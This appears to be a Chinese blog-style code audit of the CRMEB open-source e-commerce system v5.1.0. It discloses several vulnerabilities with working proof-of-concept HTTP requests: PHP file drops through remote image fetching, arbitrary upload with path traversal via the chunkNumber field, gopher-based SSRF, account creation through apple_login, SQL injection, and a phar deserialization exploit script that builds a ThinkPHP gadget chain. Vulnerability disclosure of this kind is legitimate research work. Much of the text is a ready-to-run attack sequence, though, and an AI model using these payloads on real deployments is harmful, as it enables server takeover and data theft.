CRMEB开源版v5.1.0代码审计

0x00 前言

CRMEB开源商城系统是一款全开源可商用的系统,由西安众邦网络科技有限公司开发并发布开源版本。
西安众邦网络科技有限公司是一家致力于互联网软件设计、研发、销售为一体的高新技术企业。自2014年成立以来,众邦科技将客户关系管理与电子商务应用场景进行深度集成,围绕新零售、智慧商业、企业数字化经营等课题进行探索创新,打造出中国私有化独立应用电商软件知名品牌——CRMEB。
本篇讲述了PHP代码审计过程中发现的一写漏洞,从反序列化、文件操作、用户认证凭据等方面展开审查,发现不少漏洞问题,小弟在此抛砖引玉。

0x01 声明

公网上存在部署了旧版本的CMS,旧版本仍然存在这些问题。
请不要非法攻击别人的服务器,如果你是服务器主人请升级到最新版本。
请严格遵守网络安全法相关条例!此分享主要用于交流学习,请勿用于非法用途,一切后果自付。
一切未经授权的网络攻击均为违法行为,互联网非法外之地。

0x02 环境

系统版本:CRMEB开源版v5.1.0
系统环境:Window11
PHP版本:7.4.3NTS
数据库版本:5.7.26
Web服组件务:Nginx1.15.11
源码下载地址:https://gitee.com/ZhongBangKeJi/CRMEB/releases/tag/v5.1.0

0x03 安装

官方教程:https://doc.crmeb.com/single/crmeb_v4/921

0x04 代码审计

【高危】后台远程任意文件拉取(添加直播商品功能)

漏洞详情

导致该漏洞产生的问题在于没有对拉取文件后缀进行严格校验,使用黑名单进行匹配是非常不安全的。主要漏洞入口点在实现获取直播商品封面、直播间封面等功能上,不安全的使用readfile函数。

漏洞复现

准备一个命名为help.PHP的文件,内容如下:

<?=phpinfo();?>

使用 python 开启简单 http 服务,python -m http.server 19000
image.png
_注意服务名和端口,需要自行替换_。
访问后台:http://localhost:45600/admin
输入安装时设置好的账号密码登录后台,从左侧栏进入路径营销->直播管理->直播商品管理
http://localhost:45600/admin/marketing/live/add_live_goods
image.png
完成步骤:点击添加商品->任意添加商品->生成直播商品,在点击提交功能时进行抓包。
image.png
原始请求数据包:
image.png
替换其中image参数为http://localhost:19000/help.PHP并进行发包。可以看到数据包发送后,虽然返回400,实际上已经请求并拉取了help.PHP文件。
image.png
POC数据包:

POST /adminapi/live/goods/add HTTP/1.1
Host: localhost:45600
Content-Length: 206
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
Authori-zation: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiIxZDlmMjExMGZlOTgzM2U1MTQ4MmQyZjdkMTFmZjFlNiIsImlzcyI6ImxvY2FsaG9zdDo0NTYwMCIsImF1ZCI6ImxvY2FsaG9zdDo0NTYwMCIsImlhdCI6MTY5NDA1NjkyMCwibmJmIjoxNjk0MDU2OTIwLCJleHAiOjE2OTY2NDg5MjAsImp0aSI6eyJpZCI6MSwidHlwZSI6ImFkbWluIn19.6gzs6MXyxnHOEckxP4ejuoNJxLpMcT3MdyLRPBAkJ8k
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:45600
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:45600/admin/marketing/live/add_live_goods
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"goods_info":[{"id":4,"image":"http://localhost:19000/help.PHP","store_name":"Apple/苹果iPad mini6 8.3英寸平板电脑 64G-WLAN版 深空灰色","price":"3999.00","cost_price":"3999.00","stock":1600}]}

访问 https://cmd5.com/hash.aspx 将 URLhttp://localhost:19000/help.PHP 进行 MD5 编码,得到749aa9192a0f6ff0ed7c34418e6fe97f
image.png
根据默认文件路径规则构造URL:
http://localhost:45600/uploads/attach/{年份}/{月份}/{日号}/{URL的MD5值}.PHP
得到:
http://localhost:45600/uploads/attach/2023/09/07/749aa9192a0f6ff0ed7c34418e6fe97f.PHP
image.png
需要注意的是:

  1. 使用 apache Web服务器软件下只能解析 php 后缀文件。
  2. 使用 nginx Web服务器软件下,在Windows和MacOS系统中不区分大小写匹配。

如果 apache 想要解析大写PHP后缀或者其他后缀,需要添加下面这行代码。
437938f98c09ce51e6b53925002a657.png
在 nginx 配置中,~默认是区分大小写的,如果需要忽略大小写就要使用 ~*。但在Windows和MacOS系统中不区分,Linux系统区分。
0a6c025b19c669bdb6da6a3e9289d40.png

漏洞审计

利用链路:

adminapi/controller/v1/marketing/live/LiveGoods.php add 78行
services/activity/live/LiveGoodsServices.php add 94行
utils/DownloadImage.php downloadImage 99行
services/upload/storage/Local.php down 198行

导致漏洞产生的危险函数readfile,位于utils/DownloadImage.php第99行。
image.png
流程函数为downloadImage,接受两个形参,其中$url最终传入readfile。在此之前存在一个条件判断,用黑名单校验文件后缀。
只是简单使用in_array来判断后缀名是否是['php', 'js', 'html'],如果是,就退出。所以无论我们是使用大小写还是**::DATA**等方式进行绕过都是可以的。

if (in_array($ext, ['php', 'js', 'html'])) {
throw new AdminException(400558);
}

image.png
文件名和后缀都是通过getImageExtname函数获取的,位于utils/DownloadImage.php第50行。

  1. 去掉URL中?之后的部分
  2. 通过.分割URL,取最后一个数组成员。

假设我们输入http://localhost:19000/help.PHP?a=1&b=1
那么到了第62行时$ext_name的值为PHP$url的值为http://localhost:19000/help.PHP
这里的文件名并不是随机产生的,而是通过对我们输入的URL进行md5编码。相当于:
md5(http://localhost:19000/help.PHP).PHP
image.png
回头看downloadImage函数,在readfile远程读取完文件内容后,进入down函数来保存文件。
image.png
down函数位于services/upload/storage/Local.php第198行。最终使用file_put_contents来保存文件。
image.png
downloadImage函数存在7个用法,其中2个都属于营销直播内的功能点。
image.png
添加直播商品功能点函数add,位于services/activity/live/LiveGoodsServices.php第94行。传入downloadImage函数的URL是通过形参$goods_info传入的。
image.png
继续向上寻找到调用方法add,位于adminapi/controller/v1/marketing/live/LiveGoods.php第78行
image.png
adminapi/route/live.php中可以找到对应路由:
image.png

【高危】后台远程任意文件拉取(网络图片上传功能)

漏洞详情

导致该漏洞产生的问题在于没有对拉取文件后缀进行严格校验,使用黑名单进行匹配是非常不安全的。主要漏洞入口点在网络图片上传功能上,不安全的使用readfile函数。

漏洞复现

准备一个命名为help.PHP的文件,内容如下:

<?=phpinfo();?>

使用 python 开启简单 http 服务,python -m http.server 19000
image.png
_注意服务名和端口,需要自行替换_。
访问后台:http://localhost:45600/admin
输入安装时设置好的账号密码登录后台,从左侧栏进入路径商品->商品管理->添加商品
http://localhost:45600/admin/product/add_product
image.png
完成步骤:点击商品轮播图->在上传商品图窗口点击上传图片
image.png
完成步骤:在上传图片窗口点击网络上传选项->点击提取图片->点击确定
image.png
上传后可以在上传商品图找到文件路径。
image.png
也可以通过观察
http://localhost:45600/adminapi/file/file?pid=&real_name=&page=1&limit=18
接口返回的数据中找到文件访问路径。
image.png
POC数据包:

POST /adminapi/file/online_upload HTTP/1.1
Host: localhost:45600
Content-Length: 55
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
Authori-zation: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiIxZDlmMjExMGZlOTgzM2U1MTQ4MmQyZjdkMTFmZjFlNiIsImlzcyI6ImxvY2FsaG9zdDo0NTYwMCIsImF1ZCI6ImxvY2FsaG9zdDo0NTYwMCIsImlhdCI6MTY5NDA1NjkyMCwibmJmIjoxNjk0MDU2OTIwLCJleHAiOjE2OTY2NDg5MjAsImp0aSI6eyJpZCI6MSwidHlwZSI6ImFkbWluIn19.6gzs6MXyxnHOEckxP4ejuoNJxLpMcT3MdyLRPBAkJ8k
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:45600
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:45600/admin/marketing/live/add_live_room
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cb_lang=zh-cn; PHPSESSID=23b220209fa9cd4879a5173dc74c2bba; uuid=1; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiIxZDlmMjExMGZlOTgzM2U1MTQ4MmQyZjdkMTFmZjFlNiIsImlzcyI6ImxvY2FsaG9zdDo0NTYwMCIsImF1ZCI6ImxvY2FsaG9zdDo0NTYwMCIsImlhdCI6MTY5NDA1NjkyMCwibmJmIjoxNjk0MDU2OTIwLCJleHAiOjE2OTY2NDg5MjAsImp0aSI6eyJpZCI6MSwidHlwZSI6ImFkbWluIn19.6gzs6MXyxnHOEckxP4ejuoNJxLpMcT3MdyLRPBAkJ8k; expires_time=1696648920; WS_ADMIN_URL=ws://localhost:45600/notice; WS_CHAT_URL=ws://localhost:45600/msg
Connection: close

{"pid":"","images":["http://localhost:19000/help.PHP"]}

访问
http://localhost:45600/uploads/attach/2023/09/07/749aa9192a0f6ff0ed7c34418e6fe97f.PHP
image.png

漏洞审计

利用链路:

adminapi/controller/v1/file/SystemAttachment.php onlineUpload 198行
services/system/attachment/SystemAttachmentServices.php onlineUpload 311行
services/product/product/CopyTaobaoServices.php downloadImage 311行
services/upload/storage/Local.php steam 167行

导致漏洞产生的危险函数readfile,位于services/product/product/CopyTaobaoServices.php第311行。
image.png
流程函数为downloadImage,接受七个形参,但实际上只使用了$url,最终传入readfile。在此之前存在一个条件判断,用黑名单校验文件后缀。
只是简单使用in_array来判断后缀名是否是['php', 'js', 'html'],如果是,就退出。所以无论我们是使用大小写还是**::DATA**等方式进行绕过都是可以的。

if (in_array($ext, ['php', 'js', 'html'])) {
throw new AdminException(400558);
}

image.png
文件名和后缀都是通过getImageExtname函数获取的,位于services/product/product/CopyTaobaoServices.php第342行。

  1. 去掉URL中?之后的部分
  2. 通过.分割URL,取最后一个数组成员。

假设我们输入http://localhost:19000/help.PHP?a=1&b=1
那么到了第353行时$ext_name的值为PHP$url的值为http://localhost:19000/help.PHP
这里的文件名并不是随机产生的,而是通过对我们输入的URL进行md5编码。相当于:
md5(http://localhost:19000/help.PHP).PHP
image.png
回头看downloadImage函数,在readfile远程读取完文件内容后,进入stream函数来保存文件。
image.png
stream函数位于services/upload/storage/Local.php第167行。最终使用file_put_contents来保存文件。
image.png
网络图片上传功能点函数onlineUpload,位于services/system/attachment/SystemAttachmentServices.php第311行。传入downloadImage函数的URL是通过形参$data传入的。
image.png
继续向上寻找到调用方法onlineUpload,位于adminapi/controller/v1/file/SystemAttachment.php第198行
image.png
adminapi/route/file.php可以找到对应路由:
image.png

【高危】后台远程任意文件拉取(添加商品)

漏洞详情

导致该漏洞产生的问题在于没有对拉取文件后缀进行严格校验,使用黑名单进行匹配是非常不安全的。主要漏洞入口点在添加商品功能上,不安全的使用readfile函数。

漏洞复现

准备一个命名为help.PHP的文件,内容如下:

<?=phpinfo();?>

使用 python 开启简单 http 服务,python -m http.server 19000
image.png
_注意服务名和端口,需要自行替换_。
访问后台:http://localhost:45600/admin
输入安装时设置好的账号密码登录后台,从左侧栏进入路径商品->商品管理->添加商品
http://localhost:45600/admin/product/add_product
image.png
步骤一
填写商品基础信息,任意填写。
image.png
步骤二

  1. 进入商品详情界面,点击编辑器的HTML按钮。
  2. 填写payload
    <img src="http://localhost:19000/help.PHP?233">
    image.png
    image.png
    步骤三
    进入其他设置选项,点击保存并抓包。
    image.png
    原始数据包:
    image.png
    修改slider_imageattrs的值为http://localhost:19000/help.PHP。这里添加了?123是为了方便判断请求。
    image.png
    同时修改type的值为-1后进行发包,观察HTTP服务,可以看到这三个地方都触发了远程文件拉取。
    image.png
    访问 https://cmd5.com/hash.aspx 将 URLhttp://localhost:19000/help.PHP 进行 MD5 编码,得到749aa9192a0f6ff0ed7c34418e6fe97f
    image.png
    根据默认文件路径规则构造URL:
    http://localhost:45600/uploads/attach/{年份}/{月份}/{日号}/{URL的MD5值}.PHP
    得到:
    http://localhost:45600/uploads/attach/2023/09/07/749aa9192a0f6ff0ed7c34418e6fe97f.PHP
    image.png
    也可以通过观察
    http://localhost:45600/adminapi/file/file?pid=&real_name=&page=1&limit=18
    接口返回的数据中找到文件访问路径。
    image.png

漏洞审计

利用链路:

adminapi/controller/v1/product/StoreProduct.php save 243行
services/product/product/StoreProductServices.php save 506行
services/product/product/CopyTaobaoServices.php downloadCopyImage 392行
services/product/product/CopyTaobaoServices.php downloadImage 311行
services/upload/storage/Local.php steam 167行

导致漏洞产生的危险函数readfile,位于services/product/product/CopyTaobaoServices.php第311行。
image.png
流程函数为downloadImage,接受七个形参,但实际上只使用了$url,最终传入readfile。在此之前存在一个条件判断,用黑名单校验文件后缀。
只是简单使用in_array来判断后缀名是否是['php', 'js', 'html'],如果是,就退出。所以无论我们是使用大小写还是**::DATA**等方式进行绕过都是可以的。

if (in_array($ext, ['php', 'js', 'html'])) {
throw new AdminException(400558);
}

image.png
文件名和后缀都是通过getImageExtname函数获取的,位于services/product/product/CopyTaobaoServices.php第342行。

  1. 去掉URL中?之后的部分
  2. 通过.分割URL,取最后一个数组成员。

假设我们输入http://localhost:19000/help.PHP?a=1&b=1
那么到了第353行时$ext_name的值为PHP$url的值为http://localhost:19000/help.PHP
这里的文件名并不是随机产生的,而是通过对我们输入的URL进行md5编码。相当于:
md5(http://localhost:19000/help.PHP).PHP
image.png
回头看downloadImage函数,在readfile远程读取完文件内容后,进入stream函数来保存文件。
image.png
stream函数位于services/upload/storage/Local.php第167行。最终使用file_put_contents来保存文件。
image.png
观察downloadImage函数调用处在downloadCopyImage函数内,位于services/product/product/CopyTaobaoServices.php第392行。这里的$image变量没有校验直接传入downloadImage函数中。
image.png
找到三处调用downloadCopyImage函数的save方法,位于services/product/product/StoreProductServices.php第506行。
image.png
save函数接收两个形参,POST的数据通过$data传入。其中进入downloadCopyImage函数前有一个判断$type == -1的判断,只需要确保他的校验通过即可。
image.png
进一步向上寻找到调用方法save,位于adminapi/controller/v1/product/StoreProduct.php第243行。这里确定了id必须为int类型,同时将POST参数传入StoreProductServices.phpsave函数中去。
image.png
adminapi/route/product.php可以找到对应路由:
image.png

【高危】后台任意文件上传(视频上传功能)

漏洞详情

导致该漏洞产生的问题在于没有对上传文件后缀进行严格校验,对文件名进行了白名单校验,但路径拼接时使用了未经验证的数据进行拼接。主要功能点为视频上传功能,不安全的使用move_uploaded_file危险函数。

漏洞复现

_注意服务名和端口,需要自行替换_。
访问后台:http://localhost:45600/admin
输入安装时设置好的账号密码登录后台,从左侧栏进入路径商品->商品管理->添加商品
http://localhost:45600/admin/cms/article/add_article
image.png
完成步骤:点击文章内容编辑器的上传视频按钮->任意上传MP4后缀文件->点击确定,在点击提交功能时进行抓包。image.png
原始请求数据包:
image.png
修改chunkNumber参数为.php,修改blob参数为PHP代码:<?=phpinfo();?>
image.png
POC数据包:

POST /adminapi/file/video_upload?XDEBUG_SESSION_START=13429 HTTP/1.1
Host: localhost:45600
Content-Length: 842
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBCTWThi2iCHWlO8M
Authori-zation: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiIxZDlmMjExMGZlOTgzM2U1MTQ4MmQyZjdkMTFmZjFlNiIsImlzcyI6ImxvY2FsaG9zdDo0NTYwMCIsImF1ZCI6ImxvY2FsaG9zdDo0NTYwMCIsImlhdCI6MTY5NDA1NjkyMCwibmJmIjoxNjk0MDU2OTIwLCJleHAiOjE2OTY2NDg5MjAsImp0aSI6eyJpZCI6MSwidHlwZSI6ImFkbWluIn19.6gzs6MXyxnHOEckxP4ejuoNJxLpMcT3MdyLRPBAkJ8k
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:45600
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:45600/admin/cms/article/add_article
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cb_lang=zh-cn; PHPSESSID=23b220209fa9cd4879a5173dc74c2bba; uuid=1; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiIxZDlmMjExMGZlOTgzM2U1MTQ4MmQyZjdkMTFmZjFlNiIsImlzcyI6ImxvY2FsaG9zdDo0NTYwMCIsImF1ZCI6ImxvY2FsaG9zdDo0NTYwMCIsImlhdCI6MTY5NDA1NjkyMCwibmJmIjoxNjk0MDU2OTIwLCJleHAiOjE2OTY2NDg5MjAsImp0aSI6eyJpZCI6MSwidHlwZSI6ImFkbWluIn19.6gzs6MXyxnHOEckxP4ejuoNJxLpMcT3MdyLRPBAkJ8k; expires_time=1696648920; WS_ADMIN_URL=ws://localhost:45600/notice; WS_CHAT_URL=ws://localhost:45600/msg;XDEBUG_SESSION_START=13429;
Connection: close

------WebKitFormBoundaryBCTWThi2iCHWlO8M
Content-Disposition: form-data; name="chunkNumber"

.php
------WebKitFormBoundaryBCTWThi2iCHWlO8M
Content-Disposition: form-data; name="chunkSize"

3145728
------WebKitFormBoundaryBCTWThi2iCHWlO8M
Content-Disposition: form-data; name="currentChunkSize"

52
------WebKitFormBoundaryBCTWThi2iCHWlO8M
Content-Disposition: form-data; name="file"; filename="blob"
Content-Type: application/octet-stream

<?=phpinfo();?>
------WebKitFormBoundaryBCTWThi2iCHWlO8M
Content-Disposition: form-data; name="filename"

token.mp4
------WebKitFormBoundaryBCTWThi2iCHWlO8M
Content-Disposition: form-data; name="totalChunks"

1
------WebKitFormBoundaryBCTWThi2iCHWlO8M
Content-Disposition: form-data; name="md5"

6a2d9342b9afb96e10fef23910e0e1eb
------WebKitFormBoundaryBCTWThi2iCHWlO8M--

文件路径规则为
http://localhost:45600/uploads/attach/${年份}/${月份}/${日号}/${filename}__.php
得到
http://localhost:45600/uploads/attach/2023/09/07/token.mp4__.php
image.png
通过给filename添加路径穿越符号可以上传到上层目录,或者指定目录。
image.png
发送后上传到了 uploads 文件夹下,完成了路径穿越攻击。
image.png

漏洞审计

利用链路:

services/system/attachment/SystemAttachmentServices.php videoUpload 261行
adminapi/controller/v1/file/SystemAttachment.php videoUpload 136行

危险函数move_uploaded_file位于services/system/attachment/SystemAttachmentServices.php第261行。流程函数videoUpload,接受两个形参:

  1. $data记录POST请求参数(form-data)
  2. $file记录请求中的文件(application/octet-stream)

image.png
这里对请求参数filename进行了白名单校验。必须要有后缀名,且后缀在白名单之内。token.mp4显然符合这个条件。

if (isset($pathinfo['extension']) && !in_array($pathinfo['extension'], ['avi', 'mp4', 'wmv', 'rm', 'mpg', 'mpeg', 'mov', 'flv', 'swf'])) {
throw new AdminException(400558);
}

在进行路径拼接时使用了$data['filename']$data['chunkNumber']filename经过了过滤,但是chunkNumber没有。这个参数就是污染点,可以传入.php

$filename = $all_dir . '/' . $data['filename'] . '__' . $data['chunkNumber'];
move_uploaded_file($file['tmp_name'], $filename);

$data['filename']不是通过封装类获取,且只进行了后缀校验,没有过滤路径穿越的问题,导致我们可以任意上传任意文件到任意目录下。
image.png
向上寻找到调用方法videoUpload,位于adminapi/controller/v1/file/SystemAttachment.php第136行。这里写明$data是从POST请求体内容获取的,这里没有进行数据类型校验。
image.png
adminapi/route/file.php可以找到对应路由:
image.png

【中危】前台SSRF(获取图片base64功能)

漏洞详情

在实现远程获取图片base64功能上,不安全的使用了curl_exec函数。没有对传入的URL进行严格过滤,curl_exec允许多种协议请求,容易忽略解析?#从而绕过安全校验。

漏洞复现

使用gopher协议发送请求:
image.png
需要替换 code 为payload,如果没有接收到请求,将 payload 替换到 image 变量也是可以的。
POC请求包:

POST /api/image_base64 HTTP/1.1
Host: localhost:45600
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/plain, */*
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 258

{"image":"?.jpg","code":"gopher://127.0.0.1:18000/_POST%20%2Fflag.php%20HTTP%2F1.1%0A%0DHost%3A%20127.0.0.1%3A18000%0A%0DContent-Type%3A%20application%2Fx-www-form-urlencoded%0A%0DContent-Length%3A%2036%0A%0D%0A%0Dkey%3D00f001523d0b955749ea5e3b0ca09b5f.jpg"}

漏洞审计

利用链路:

services/system/attachment/SystemAttachmentServices.php videoUpload 261行
adminapi/controller/v1/file/SystemAttachment.php videoUpload 136行

定位到危险函数curl_exec,流程函数为image_to_base64,位于common.php第530行。这里的使用了parse_url进一步限制了协议的使用,因为某些协议无法通过$url['host']的形式获取。

$url = parse_url($avatar);
$url = $url['host'];

可以获取host的协议有:

zip:///path/to/myfile.zip#file.txt
phar://path/to/myapp.phar/some/script.php
gopher://gopher.example.com/0example
ldap://ldap.example.com/dc=example,dc=com
file://C:/path/to/file
ftp://username:password@ftp.example.com/path/to/file
http://www.example.com/path/to/resource
https://www.example.com:8080/path/to/resource

image.png
向上寻找到调用函数get_image_base64,位于api/controller/v1/PublicController.php第302行。
这里接收两个参数,从提示看都是URL字符串。
image.png
这里共有两处调用,我们先来看先决条件:

  1. 两个变量内容不能为空
  2. 两个变量内容要已图片文件后缀名作为结尾
  3. 两个变量内容不能包含phar://
    if ($imageUrl !== '' && !preg_match('/.*(\.png|\.jpg|\.jpeg|\.gif)$/', $imageUrl) && strpos($imageUrl, "phar://") !== false) {
    return app('json')->success(['code' => false, 'image' => false]);
    }
    if ($codeUrl !== '' && !(preg_match('/.*(\.png|\.jpg|\.jpeg|\.gif)$/', $codeUrl) || strpos($codeUrl, 'https://mp.weixin.qq.com/cgi-bin/showqrcode') !== false) && strpos($codeUrl, "phar://") !== false) {
    return app('json')->success(['code' => false, 'image' => false]);
    }
    通过条件后就会进入到CacheService::remember的第二参数的匿名函数内,这里如果以同样的URL字符串写入remember不会触发匿名函数——输入的参数不能和上一次请求相同
    api/route/v1.php可以找到对应路由:
    image.png

【中危】任意用户注册(apple快捷登陆)

漏洞详情

新建用户的方式有很多,其中apple快捷登陆,没有进一步确认用户身份,默认不开启强制手机号注册,导致只需要提供 openId 就能创建新用户。

漏洞复现

http://localhost:45600/api/apple_login发起请求,修改openId为随机数值。

POST /api/apple_login HTTP/1.1
Host: localhost:45600
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/plain, */*
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 28

{"openId":"asdasdasdqweqwe"}

发送请求包后即可获得Token。
image.png
使用 Token 即可登录账户。例如查看用户身份信息:
image.png

漏洞审计

利用链路:

api/controller/v1/LoginController.php appleLogin 444行
services/wechat/WechatServices.php appAuth 372行
services/wechat/WechatUserServices.php wechatOauthAfter 272行
services/user/UserServices.php setUserInfo 122行

appleLogin函数位于api/controller/v1/LoginController.php第444行。从POST请求中获取4个参数,其中phonecaptcha是同时使用的,允许为空。$email为空会自动生成,所以我们只需要传递openId即可。
openId也可以为空,但为了随机生成新用户,需要保证openId的随机性。
image.png
往下进入到appAuth函数,位于services/wechat/WechatServices.php第372行。这里补全了用户信息。
image.png
其中存在一个手机绑定校验,前提是开启store_user_mobile。这里默认值为0,也就无需校验手机号和验证码了。
image.png
412行进入wechatOauthAfter函数,位于services/wechat/WechatUserServices.php第272行。
image.png
这里从数据库查询了eb_wechat_usereb_user,确保两张表都没有记录就会创建新用户。
image.png
357行进入setUserInfo函数,位于services/user/UserServices.php第122行。用于添加用户数据。
image.png

【中危】后台SQL注入(查看表接口详细功能)

漏洞详情

在进行SQL查询时,没有使用预编译和过滤,而是使用字符串拼接的方式拼接SQL语句。在实现查看表接口详细功能时,拼接了未经校验的数据,导致SQL注入漏洞的产生。

漏洞复现

_注意服务名和端口,需要自行替换_。
访问后台:http://localhost:45600/admin
输入安装时设置好的账号密码登录后台,从左侧栏进入路径维护->开发工具->数据库管理
http://localhost:45600/admin/system/maintain/system_databackup/index
image.png
在右边找到详细按钮,点击后并抓包,原始数据包:
image.png
修改tablename'可以看到报错提示。
image.png
保存文件后使用sqlmap进行攻击:
image.png

GET /adminapi/system/backup/read?tablename=' HTTP/1.1
Host: localhost:45600
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/plain, */*
Authori-zation: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiIxZDlmMjExMGZlOTgzM2U1MTQ4MmQyZjdkMTFmZjFlNiIsImlzcyI6ImxvY2FsaG9zdDo0NTYwMCIsImF1ZCI6ImxvY2FsaG9zdDo0NTYwMCIsImlhdCI6MTY5NDA1NjkyMCwibmJmIjoxNjk0MDU2OTIwLCJleHAiOjE2OTY2NDg5MjAsImp0aSI6eyJpZCI6MSwidHlwZSI6ImFkbWluIn19.6gzs6MXyxnHOEckxP4ejuoNJxLpMcT3MdyLRPBAkJ8k
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:45600/admin/system/maintain/system_databackup/index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


漏洞审计

services/system/SystemDatabackupServices.php第68行,使用了query执行sql语句,其中$tablename作为字符串进行拼接,没有进行预编译或者过滤。image.png
向上寻找到read函数,位于adminapi/controller/v1/system/SystemDatabackup.php第51行,这里通过POST获取了tablename,虽然使用了htmlspecialchars ,但这个函数不过滤单引号。
image.png

【高危】前台RCE(获取图片base64功能)

漏洞详情

攻击者可以创建恶意的”phar”文件,其中包含恶意序列化的对象或代码。当应用程序使用”readfile”函数读取这个恶意的”phar”文件时,PHP会尝试反序列化该文件中的内容,从而触发反序列化漏洞。在实现获取图片base64功能时,没有对用户输入的内容进行严格校验导致漏洞的产生。

漏洞复现

  1. 制作EXP

制作一个可以利用带有反序列化链的Phar文件。
https://www.anquanke.com/post/id/257485#h3-7

<?php
namespace think;
abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
protected $table;
private $force;
private $exists;
private $lazySave;
private $data = [];
function __construct($obj){
$this->table = $obj;
$this->force = true;
$this->exists = true;
$this->lazySave = true;
$this->data = ["test" => "calc.exe"];
}
}

namespace think\model\concern;
trait ModelEvent{
protected $withEvent = true;
protected $visible = ["test" => "1"];
}
trait Attribute{
private $withAttr = ["test" => "system"];
}

namespace think\model;
use Phar;
use think\Model;
class Pivot extends Model{
function __construct($obj = ''){
parent::__construct($obj);
}
}

$exp = new Pivot(new Pivot());
$phar = new Phar('tp6x_exp.phar');
$phar->startBuffering();
$phar->addFromString('test.jpg','test');
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($exp);
$phar->stopBuffering();
echo base64_encode(serialize($exp));
?>

将文件放到 public 目录下运行后,会生成tp6x_exp.phar文件,将他重命名为tp6x_exp.gif

  1. 制作上传页面

制作命名为index.html的文件,内容为:

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>文件上传表单</title>
</head>
<body>

<h1>文件上传</h1>

<form action="http://localhost:45600/api/upload/image" method="post" enctype="multipart/form-data">
<label for="file">选择要上传的文件:</label>
<input type="file" name="file" id="file">
<br><br>
<input type="submit" value="上传文件">
</form>

</body>
</html>

注意:需要替换_localhost:45600_里面的IP和端口为实际运行的。
通过python -m http.server 12390启动HTTP服务,也可以通过php -S localhost:12390到达一样的效果。访问后可以看到上传页面。
image.png

  1. 获得普通用户Token

通过任意用户注册获取到普通用户的Token来请求图片上传接口。
http://localhost:45600/api/apple_login发起请求,修改openId为随机数值。

POST /api/apple_login HTTP/1.1
Host: localhost:45600
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: application/json, text/plain, */*
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 28

{"openId":"asdasdasdqweqwe"}

发送请求包后即可获得Token。
image.png

